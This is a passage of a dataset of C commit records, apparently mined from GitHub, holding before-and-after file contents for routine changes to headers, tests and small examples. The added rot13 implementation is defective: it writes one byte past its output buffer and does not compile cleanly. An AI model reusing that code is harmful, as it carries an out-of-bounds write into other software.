racoin_20150327,BitcoinPOW\/BitcoinPOW,gwillen\/elements,jimmysong\/bitcoin,ghostlander\/Feathercoin,vizidrixfork\/Peershares,jimblasko\/2015_UNB_Wallets,sarielsaz\/sarielsaz,ingresscoin\/ingresscoin,kseistrup\/twister-core,ajtowns\/bitcoin,5mil\/Bolt,jimblasko\/UnbreakableCoin-master,p2peace\/oliver-twister-core,glv2\/peerunity,sugruedes\/bitcoin,koharjidan\/dogecoin,lateminer\/bitcoin,andreaskern\/bitcoin,upgradeadvice\/MUE-Src,elacoin\/elacoin,atgreen\/bitcoin,nailtaras\/nailcoin,reorder\/viacoin,droark\/bitcoin,glv2\/peerunity,myriadteam\/myriadcoin,Thracky\/monkeycoin,Bushstar\/UFO-Project,dan-mi-sun\/bitcoin,fullcoins\/fullcoin,jgarzik\/bitcoin,IlfirinCano\/shavercoin,wiggi\/huntercore,alejandromgk\/Lunar,puticcoin\/putic,PIVX-Project\/PIVX,gapcoin\/gapcoin,ericshawlinux\/bitcoin,IlfirinIlfirin\/shavercoin,mooncoin-project\/mooncoin-landann,svcop3\/svcop3,memorycoin\/memorycoin,NateBrune\/bitcoin-nate,digideskio\/namecoin,daliwangi\/bitcoin,TheSeven\/ppcoin,goldcoin\/Goldcoin-GLD,CoinGame\/NuShadowNet,axelxod\/braincoin,VsyncCrypto\/Vsync,ceptacle\/libcoinqt,iQcoin\/iQcoin,freelion93\/mtucicoin,arnuschky\/bitcoin,dakk\/soundcoin,laanwj\/bitcoin-qt,UFOCoins\/ufo,OfficialTitcoin\/titcoin-wallet,HerkCoin\/herkcoin,Xekyo\/bitcoin,Bitcoinsulting\/bitcoinxt,tropa\/axecoin,sugruedes\/bitcoinxt,jtimon\/bitcoin,funkshelper\/woodcore,sdaftuar\/bitcoin,destenson\/bitcoin--bitcoin,cryptohelper\/premine,ronpaulcoin\/ronpaulcoin,constantine001\/bitcoin,alexandrcoin\/vertcoin,gzuser01\/zetacoin-bitcoin,xawksow\/GroestlCoin,kigooz\/smalltest,FuzzyBearBTC\/peercoin,Vector2000\/bitcoin,sirk390\/bitcoin,bittylicious\/bitcoin,vertcoin\/vertcoin,florincoin\/florincoin,phorensic\/yacoin,core-bitcoin\/bitcoin,benosa\/bitcoin,CoinGame\/NuShadowNet,scmorse\/bitcoin,rebroad\/bitcoin,BTCTaras\/bitcoin,laudaa\/bitcoin,DigiByte-Team\/digibyte,kazcw\/bitcoin,manuel-zulian\/accumunet,alecalve\/bitcoin,schildbach\/bitcoin,benzhi888\/renminbi,memorycoin\/memorycoin,habibmasuro\/bitcoin,wellenreiter01\/Feathercoin,Christewart\/bitcoin,CoinGame\/NuShadowNet,greenaddress\/bitcoin,Rav3nPL\/doubloons-0.10,byncoin-project\/byncoin,Rav3nPL\/doubloons-0.10,creath\/barcoin,mockcoin\/mockcoin,oklink-dev\/bitcoin_block,skaht\/bitcoin,gjhiggins\/fuguecoin,sickpig\/BitcoinUnlimited,vcoin-project\/vcoin0.8zeta-dev,jeromewu\/bitcoin-opennet,imharrywu\/fastcoin,irvingruan\/bitcoin,truthcoin\/blocksize-market,scmorse\/bitcoin,sipa\/bitcoin,ColossusCoinXT\/ColossusCoinXT,jlay11\/sharecoin,jamesob\/bitcoin,isle2983\/bitcoin,gjhiggins\/fuguecoin,putinclassic\/putic,FarhanHaque\/bitcoin,FuzzyBearBTC\/Peerunity,bmp02050\/ReddcoinUpdates,benzmuircroft\/REWIRE.io,brettwittam\/geocoin,oklink-dev\/litecoin_block,isghe\/bitcoinxt,blood2\/bloodcoin-0.9,vectorcoindev\/Vector,isghe\/bitcoinxt,iosdevzone\/bitcoin,error10\/bitcoin,slingcoin\/sling-market,RHavar\/bitcoin,qtumproject\/qtum,blocktrail\/bitcoin,arruah\/ensocoin,mastercoin-MSC\/mastercore,magacoin\/magacoin,jakeva\/bitcoin-pwcheck,crowning2\/dash,shadowproject\/shadow,mmpool\/coiledcoin,biblepay\/biblepay,pstratem\/bitcoin,haisee\/dogecoin,phorensic\/yacoin,blood2\/bloodcoin-0.9,Richcoin-Project\/RichCoin,mrtexaznl\/mediterraneancoin,cerebrus29301\/crowncoin,pascalguru\/florincoin,greenaddress\/bitcoin,sipa\/elements,Alex-van-der-Peet\/bitcoin,TeamBitBean\/bitcoin-core,wcwu\/bitcoin,Open-Source-Coins\/EZ,dannyperez\/bolivarcoin,HashUnlimited\/Einsteinium-Unlimited,paveljanik\/bitcoin,ANCompany\/birdcoin-dev,Magicking\/neucoin"}
{"commit":"693346fd3ae93be37fad41bf08acc00d416ba6df","old_file":"examples\/specific\/functionOverload.h","new_file":"examples\/specific\/functionOverload.h","old_contents":"\n\/\/! Non overloaded function\nvoid simplefunc();\n\n\/\/! Function which takes two int arguments\nvoid f(int, int);\n\n\/\/! Function which takes two double arguments\nvoid f(double, double);\n\nnamespace test {\n\n\/\/! Another function which takes two int arguments\nvoid g(int, int);\n\n\/\/! Another function which takes two double arguments\nvoid g(double, double);\n\n}\n\nclass MyType {};\n\nclass MyOtherType {};\n\n\/\/! Another function which takes a custom type\nvoid h(std::string, MyType);\n\n\/\/! Another function which takes another custom type\nvoid h(std::string, MyOtherType o);\n\n\/\/! Another function which takes a basic type\nvoid h(std::string, float myfloat);\n\n\/\/! Another function which takes a const custom type\nvoid h(std::string, const MyType& mytype);\n\n\/\/! Another function which takes a const basic type\nvoid h(std::string, const int myint);\n\n\/\/! Another function which takes a const basic type\ntemplate <typename T>\nvoid h(std::string, const T myType);\n\n\/\/! Another function which takes a const basic type\ntemplate <typename T, typename U>\nvoid h(std::string, const T m, const U n);\n\n","new_contents":"\n\/\/! Non overloaded function\nvoid simplefunc();\n\n\/\/! Function which takes two int arguments\nvoid f(int, int);\n\n\/\/! Function which takes two double arguments\nvoid f(double, double);\n\nnamespace test {\n\n\/\/! Another function which takes two int arguments\nvoid g(int, int);\n\n\/\/! Another function which takes two double arguments\nvoid g(double, double);\n\n}\n\nclass MyType {};\n\nclass MyOtherType {};\n\n\/\/! Another function which takes a custom type\nvoid h(std::string, MyType);\n\n\/\/! Another function which takes another custom type\nvoid h(std::string, MyOtherType o);\n\n\/\/! Another function which takes a basic type\nvoid h(std::string, float myfloat);\n\n\/\/! Another function which takes a const custom type\nvoid h(std::string, const MyType& mytype);\n\n\/\/! Another function which takes a const basic type\nvoid h(std::string, const int myint);\n\n\/\/! Another function which takes a const basic type\ntemplate <typename T>\nvoid h(std::string, const T myType);\n\n\/\/! Another function which takes a const basic type\ntemplate <typename T, typename U>\nvoid h(std::string, const T m, const U n);\n\n\n\/**\n * Test function 1.\n *\/\nvoid j(int);\n\n\/**\n * Test function 2.\n *\/\nvoid j(char);\n","subject":"Add extra function overload example","message":"Add extra function overload example\n\nFor some reason this single argument overloaded function reveals a bug\nthat the more complex examples do not. Thanks to vitaut for providing\nit.\n","lang":"C","license":"bsd-3-clause","repos":"kirbyfan64\/breathe,AnthonyTruchet\/breathe,RR2DO2\/breathe,AnthonyTruchet\/breathe,RR2DO2\/breathe,kirbyfan64\/breathe,kirbyfan64\/breathe,AnthonyTruchet\/breathe,AnthonyTruchet\/breathe,kirbyfan64\/breathe"}
{"commit":"51e6009860ba9291d5435a0932abe150e9d9e1b7","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Headers)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(H_Unknown)\n#define HTTPH(a, b)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","subject":"Use http_headers.h to define HTTP header tags for logging","message":"Use http_headers.h to define HTTP header tags for logging\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@90 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish"}
{"commit":"36a864d477bf010819748d50f8be13b0497c1c7f","old_file":"source\/system\/Array.h","new_file":"source\/system\/Array.h","old_contents":"#ifndef OOC_ARRAY_H_\n#define OOC_ARRAY_H_\n\n#define array_malloc(size) calloc(1, (size))\n#define array_free free\n\n#include <stdint.h>\n\n#define _lang_array__Array_new(type, size) ((_lang_array__Array) { size, array_malloc((size) * sizeof(type)) });\n\n#if defined(safe)\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index] = value)\n#else\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[index] = value)\n#endif\n\n#define _lang_array__Array_free(array) { array_free(array.data); array.data = NULL; array.length = 0; }\n\ntypedef struct {\n    size_t length;\n    void* data;\n} _lang_array__Array;\n\n#endif\n","new_contents":"#ifndef OOC_ARRAY_H_\n#define OOC_ARRAY_H_\n\n#define array_malloc(size) calloc(1, (size))\n#define array_free free\n\n#include <stdint.h>\n\n#define _lang_array__Array_new(type, size) ((_lang_array__Array) { size, array_malloc((size) * sizeof(type)) });\n\n#if defined(safe)\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index] = value)\n#else\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[index] = value)\n#endif\n\n#define _lang_array__Array_free(array) { array_free(array.data); }\n\ntypedef struct {\n    size_t length;\n    void* data;\n} _lang_array__Array;\n\n#endif\n","subject":"Revert \"Set pointer to array data to null after free\"","message":"Revert \"Set pointer to array data to null after free\"\n","lang":"C","license":"mit","repos":"firog\/ooc-kean,sebastianbaginski\/ooc-kean,magic-lang\/ooc-kean,fredrikbryntesson\/ooc-kean,thomasfanell\/ooc-kean,firog\/ooc-kean,simonmika\/ooc-kean,simonmika\/ooc-kean,magic-lang\/ooc-kean,thomasfanell\/ooc-kean,fredrikbryntesson\/ooc-kean,sebastianbaginski\/ooc-kean"}
{"commit":"618f2055745e3d06751594bcefc1d0d0a7dbd83c","old_file":"part\/tests\/range_test.h","new_file":"part\/tests\/range_test.h","old_contents":"\/* This file is part of the KDE libraries\n   Copyright (C) 2010 Christoph Cullmann <cullmann@kde.org>\n   Copyright (C) 2005 Hamish Rodda <rodda@kde.org>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License as published by the Free Software Foundation; either\n   version 2 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KATE_RANGE_TEST_H\n#define KATE_RANGE_TEST_H\n\n#include <QtCore\/QObject>\n\n#include <ktexteditor\/range.h>\n\nclass RangeTest : public QObject\n{\n  Q_OBJECT;\n\npublic:\n  RangeTest();\n  ~RangeTest();\n\nprivate Q_SLOTS:\n  void testTextEditorRange();\n  void testTextRange();\n  void testInsertText();\n  void testCornerCaseInsertion();\n\nprivate:\n  void rangeCheck ( KTextEditor::Range & valid );\n};\n\n#endif\n","new_contents":"\/* This file is part of the KDE libraries\n   Copyright (C) 2010 Christoph Cullmann <cullmann@kde.org>\n   Copyright (C) 2005 Hamish Rodda <rodda@kde.org>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License as published by the Free Software Foundation; either\n   version 2 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KATE_RANGE_TEST_H\n#define KATE_RANGE_TEST_H\n\n#include <QtCore\/QObject>\n\n#include <ktexteditor\/range.h>\n\nclass RangeTest : public QObject\n{\n  Q_OBJECT\n\npublic:\n  RangeTest();\n  ~RangeTest();\n\nprivate Q_SLOTS:\n  void testTextEditorRange();\n  void testTextRange();\n  void testInsertText();\n  void testCornerCaseInsertion();\n\nprivate:\n  void rangeCheck ( KTextEditor::Range & valid );\n};\n\n#endif\n","subject":"Fix compilations Thanks to tropikhajma CCMAIL: tropikhajma@gmail.com BUG: 234775","message":"Fix compilations\nThanks to  tropikhajma\nCCMAIL: tropikhajma@gmail.com\nBUG: 234775\n\nsvn path=\/trunk\/KDE\/kdelibs\/kate\/; revision=1116300\n","lang":"C","license":"lgpl-2.1","repos":"DickJ\/kate,jfmcarreira\/kate,hlamer\/kate,hlamer\/kate,hlamer\/kate,sandsmark\/kate,hlamer\/kate,DickJ\/kate,DickJ\/kate,cmacq2\/kate,sandsmark\/kate,DickJ\/kate,cmacq2\/kate,sandsmark\/kate,hlamer\/kate,hlamer\/kate,sandsmark\/kate,hlamer\/kate,hlamer\/kate,jfmcarreira\/kate,hlamer\/kate,hlamer\/kate,cmacq2\/kate,jfmcarreira\/kate"}
{"commit":"135b12fcf85aa031a71f79bd73a1563ad5ce2d80","old_file":"cryptography\/rot13_cipher\/rotn.c","new_file":"cryptography\/rot13_cipher\/rotn.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    char *test = \"HELLO WORLD. This is a test\";\n    char out[strlen(test)];\n    out[strlen(test)] = '\\0';\n\n    rot(test, &out, 13);\n    printf(\"Input: %s\\n\", test);\n    printf(\"Output: %s\", out);\n\n    return 0;\n}\n\nvoid rot(char *in, char *out, int n)\n{\n    int i;\n    char c;\n    for (i = 0; i < strlen(in); i++)\n    {\n        c = in[i];\n        if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))\n        {\n            if (c + n > 'z' || (c <= 'Z' && c + n > 'Z'))\n            {\n                c -= (26 - n);\n            }\n            else\n            {\n                c += n;\n            }\n        }\n        out[i] = c;\n    }\n}\n","subject":"Add RotN implementation in C","message":"Add RotN implementation in C\n","lang":"C","license":"cc0-1.0","repos":"manikTharaka\/al-go-rithms,Cnidarias\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,Deepak345\/al-go-rithms,Deepak345\/al-go-rithms,manikTharaka\/al-go-rithms,Cnidarias\/al-go-rithms,manikTharaka\/al-go-rithms,Cnidarias\/al-go-rithms,manikTharaka\/al-go-rithms,ZoranPandovski\/al-go-rithms,manikTharaka\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,manikTharaka\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,manikTharaka\/al-go-rithms,Cnidarias\/al-go-rithms,Cnidarias\/al-go-rithms,ZoranPandovski\/al-go-rithms,manikTharaka\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,manikTharaka\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,Cnidarias\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,manikTharaka\/al-go-rithms,Deepak345\/al-go-rithms,Deepak345\/al-go-rithms,manikTharaka\/al-go-rithms,ZoranPandovski\/al-go-rithms,manikTharaka\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,Deepak345\/al-go-rithms,Deepak345\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,Deepak345\/al-go-rithms,ZoranPandovski\/al-go-rithms,manikTharaka\/al-go-rithms,Cnidarias\/al-go-rithms,Deepak345\/al-go-rithms,Deepak345\/al-go-rithms,Cnidarias\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,Cnidarias\/al-go-rithms,Deepak345\/al-go-rithms,manikTharaka\/al-go-rithms,manikTharaka\/al-go-rithms,manikTharaka\/al-go-rithms,ZoranPandovski\/al-go-rithms,Deepak345\/al-go-rithms,Cnidarias\/al-go-rithms"}
{"commit":"845b8ad003a92bb246c6b714f65212329c660797","old_file":"shared\/aktest.h","new_file":"shared\/aktest.h","old_contents":"\/*\n    Copyright (c) 2011 Volker Krause <vkrause@kde.org>\n\n    This library is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This library is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to the\n    Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n    02110-1301, USA.\n*\/\n\n#ifndef AKTEST_H\n#define AKTEST_H\n\n#include \"akapplication.h\"\n\n#define AKTEST_MAIN( TestObject ) \\\nint main(int argc, char **argv) \\\n{ \\\n  AkCoreApplication app(argc, argv); \\\n  app.parseCommandLine(); \\\n  TestObject tc; \\\n  return QTest::qExec(&tc, argc, argv); \\\n}\n\ninline void akTestSetInstanceIdentifier( const QString &instanceId )\n{\n  AkApplication::setInstanceIdentifier( instanceId );\n}\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2011 Volker Krause <vkrause@kde.org>\n\n    This library is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This library is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to the\n    Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n    02110-1301, USA.\n*\/\n\n#ifndef AKTEST_H\n#define AKTEST_H\n\n#include \"akapplication.h\"\n\n#define AKTEST_MAIN( TestObject ) \\\nint main(int argc, char **argv) \\\n{ \\\n  qputenv(\"XDG_DATA_HOME\", \".local-unit-test\/share\"); \\\n  qputenv(\"XDG_CONFIG_HOME\", \".config-unit-test\"); \\\n  AkCoreApplication app(argc, argv); \\\n  app.parseCommandLine(); \\\n  TestObject tc; \\\n  return QTest::qExec(&tc, argc, argv); \\\n}\n\ninline void akTestSetInstanceIdentifier( const QString &instanceId )\n{\n  AkApplication::setInstanceIdentifier( instanceId );\n}\n\n#endif\n","subject":"Improve isolation of unit tests.","message":"Improve isolation of unit tests.\n","lang":"C","license":"lgpl-2.1","repos":"kolab-groupware\/akonadi,kolab-groupware\/akonadi,kolab-groupware\/akonadi,kolab-groupware\/akonadi"}
{"commit":"3967214b04e7411c3ac17d17bc8f62be71193c03","old_file":"kate\/kate_export.h","new_file":"kate\/kate_export.h","old_contents":"\/*\n   This file is part of KDE\n   Copyright (C) 2006 Christian Ehrlicher <ch.ehrlicher@gmx.de>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef _KDEBASE_EXPORT_H\n#define _KDEBASE_EXPORT_H\n\n#include <kdemacros.h>\n\n#ifdef MAKE_KATEINTERFACES_LIB\n# define KATEINTERFACES_EXPORT KDE_EXPORT\n#else\n# if defined _WIN32 || defined _WIN64\n#  define KATEINTERFACES_EXPORT KDE_IMPORT\n# else\n#  define KATEINTERFACES_EXPORT KDE_EXPORT\n# endif\n#endif\n\n#endif \/\/ _KDEBASE_EXPORT_H\n\n","new_contents":"\/*\n   This file is part of KDE\n   Copyright (C) 2006 Christian Ehrlicher <ch.ehrlicher@gmx.de>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef _KATE_EXPORT_H\n#define _KATE_EXPORT_H\n\n#include <kdemacros.h>\n\n#ifdef MAKE_KATEINTERFACES_LIB\n# define KATEINTERFACES_EXPORT KDE_EXPORT\n#else\n# if defined _WIN32 || defined _WIN64\n#  define KATEINTERFACES_EXPORT KDE_IMPORT\n# else\n#  define KATEINTERFACES_EXPORT KDE_EXPORT\n# endif\n#endif\n\n#endif \/\/ _KATE_EXPORT_H\n\n","subject":"Replace the include guard too.","message":"Replace the include guard too.\n\nsvn path=\/trunk\/KDE\/kdesdk\/kate\/; revision=636748\n","lang":"C","license":"lgpl-2.1","repos":"hlamer\/kate,cmacq2\/kate,DickJ\/kate,hlamer\/kate,hlamer\/kate,DickJ\/kate,jfmcarreira\/kate,sandsmark\/kate,hlamer\/kate,hlamer\/kate,cmacq2\/kate,hlamer\/kate,hlamer\/kate,hlamer\/kate,DickJ\/kate,jfmcarreira\/kate,hlamer\/kate,jfmcarreira\/kate,sandsmark\/kate,hlamer\/kate,sandsmark\/kate,DickJ\/kate,cmacq2\/kate,sandsmark\/kate"}
{"commit":"0d86b2eed6d0ec61a004aa3a6d13943d0f0b8a54","old_file":"kernel\/src\/stdlib\/stdio.h","new_file":"kernel\/src\/stdlib\/stdio.h","old_contents":"\/\/ File:       stdlib\/stdio.h\n\/\/ Author:     vodozhaba\n\/\/ Created on: Aug 21, 2016\n\/\/ Purpose:    Provides standard I\/O functions.\n\n#pragma once\n\n#include <stdarg.h>\n#include \"io\/disk\/file.h\"\n\nextern FileDescriptor* stdout;\nextern FileDescriptor* stderr;\n\nsize_t StdoutWriteOp(FileDescriptor* file, size_t size, const void* buf);\nsize_t StderrWriteOp(FileDescriptor* file, size_t size, const void* buf);\n\nint putchar(int character);\nint _puts(const char* s);\nint isspace (int c);\nint fprintf(FileDescriptor* file,  const char* fmt, ...);\nint printf(const char* fmt, ...);\nint sprintf(char* dest, const char* fmt, ...);\n","new_contents":"\/\/ File:       stdlib\/stdio.h\n\/\/ Author:     vodozhaba\n\/\/ Created on: Aug 21, 2016\n\/\/ Purpose:    Provides standard I\/O functions.\n\n#pragma once\n\n#include <stdarg.h>\n#include \"io\/disk\/file.h\"\n\nextern FileDescriptor* stdout;\nextern FileDescriptor* stderr;\n\nsize_t StdoutWriteOp(FileDescriptor* file, size_t size, const void* buf);\nsize_t StderrWriteOp(FileDescriptor* file, size_t size, const void* buf);\n\nint putchar(int character);\nint _puts(const char* s);\nint isspace (int c);\nint fprintf(FileDescriptor* file,  const char* fmt, ...);\nint vfprintf(FileDescriptor* file,  const char* fmt, va_list argss);\nint printf(const char* fmt, ...);\nint sprintf(char* dest, const char* fmt, ...);\n","subject":"Add vfprintf to the public interface just in case","message":"Add vfprintf to the public interface just in case\n","lang":"C","license":"mit","repos":"vodozhaba\/VV4OS,velikiyv4\/VV4OS,vodozhaba\/VV4OS,velikiyv4\/VV4OS"}
{"commit":"d98da626350d53345b3d659c9acc9848b1d2ea73","old_file":"src\/org\/objectweb\/proactive\/examples\/mpi\/cpi.c","new_file":"src\/org\/objectweb\/proactive\/examples\/mpi\/cpi.c","old_contents":"","new_contents":"\n#include <stdlib.h>\n#include <stdio.h>\n#include <mpi.h>\n\nmain(int argc, char **argv)\n{\n  register double width;\n  double sum = 0, lsum;\n  register int intervals, i; \n  int nproc, iproc;\n  MPI_Win sum_win;\n\n  if (MPI_Init(&argc, &argv) != MPI_SUCCESS) exit(1);\n  MPI_Comm_size(MPI_COMM_WORLD, &nproc);\n  MPI_Comm_rank(MPI_COMM_WORLD, &iproc);\n  MPI_Win_create(&sum, sizeof(sum), sizeof(sum),\n                 0, MPI_COMM_WORLD, &sum_win);\n  MPI_Win_fence(0, sum_win);\n  intervals = atoi(argv[1]);\n  width = 1.0 \/ intervals;\n  lsum = 0;\n  for (i=iproc; i<intervals; i+=nproc) {\n    register double x = (i + 0.5) * width;\n    lsum += 4.0 \/ (1.0 + x * x);\n  }\n  lsum *= width;\n  MPI_Accumulate(&lsum, 1, MPI_DOUBLE, 0, 0,\n                 1, MPI_DOUBLE, MPI_SUM, sum_win);\n  MPI_Win_fence(0, sum_win);\n  if (iproc == 0) {\n    printf(\"Estimation of pi is %f\\n\", sum);\n  }\n  MPI_Finalize();\n  return(0);\n}\n","subject":"Replace MPI source code instead of executive binary file. User will compile the source with its own mpi implementation.","message":"Replace MPI source code instead of executive binary file.\nUser will compile the source with its own mpi implementation.\n\ngit-svn-id: 9146c88ff6d39b48099bf954d15d68f687b3fa69@3133 28e8926c-6b08-0410-baaa-805c5e19b8d6\n","lang":"C","license":"agpl-3.0","repos":"zeineb\/scheduling,ShatalovYaroslav\/scheduling,paraita\/scheduling,lpellegr\/scheduling,youribonnaffe\/scheduling,marcocast\/scheduling,sandrineBeauche\/scheduling,zeineb\/scheduling,mbenguig\/scheduling,marcocast\/scheduling,fviale\/scheduling,sandrineBeauche\/scheduling,jrochas\/scheduling,sgRomaric\/scheduling,zeineb\/scheduling,mbenguig\/scheduling,tobwiens\/scheduling,ShatalovYaroslav\/scheduling,ow2-proactive\/scheduling,sandrineBeauche\/scheduling,ow2-proactive\/scheduling,laurianed\/scheduling,ow2-proactive\/scheduling,lpellegr\/scheduling,ow2-proactive\/scheduling,marcocast\/scheduling,tobwiens\/scheduling,lpellegr\/scheduling,laurianed\/scheduling,laurianed\/scheduling,laurianed\/scheduling,jrochas\/scheduling,ow2-proactive\/scheduling,ShatalovYaroslav\/scheduling,fviale\/scheduling,ShatalovYaroslav\/scheduling,fviale\/scheduling,sandrineBeauche\/scheduling,ow2-proactive\/scheduling,youribonnaffe\/scheduling,yinan-liu\/scheduling,yinan-liu\/scheduling,ow2-proactive\/scheduling,tobwiens\/scheduling,laurianed\/scheduling,sgRomaric\/scheduling,sgRomaric\/scheduling,fviale\/scheduling,yinan-liu\/scheduling,sandrineBeauche\/scheduling,sgRomaric\/scheduling,tobwiens\/scheduling,sgRomaric\/scheduling,sgRomaric\/scheduling,lpellegr\/scheduling,sgRomaric\/scheduling,mbenguig\/scheduling,sandrineBeauche\/scheduling,zeineb\/scheduling,jrochas\/scheduling,zeineb\/scheduling,paraita\/scheduling,ShatalovYaroslav\/scheduling,youribonnaffe\/scheduling,yinan-liu\/scheduling,fviale\/scheduling,yinan-liu\/scheduling,mbenguig\/scheduling,youribonnaffe\/scheduling,lpellegr\/scheduling,youribonnaffe\/scheduling,lpellegr\/scheduling,mbenguig\/scheduling,paraita\/scheduling,zeineb\/scheduling,paraita\/scheduling,youribonnaffe\/scheduling,mbenguig\/scheduling,marcocast\/scheduling,tobwiens\/scheduling,tobwiens\/scheduling,lpellegr\/scheduling,marcocast\/scheduling,ShatalovYaroslav\/scheduling,fviale\/scheduling,mbenguig\/scheduling,yinan-liu\/scheduling,paraita\/scheduling,ShatalovYaroslav\/scheduling,marcocast\/scheduling,tobwiens\/scheduling,jrochas\/scheduling,paraita\/scheduling,jrochas\/scheduling,marcocast\/scheduling,yinan-liu\/scheduling,paraita\/scheduling,laurianed\/scheduling,laurianed\/scheduli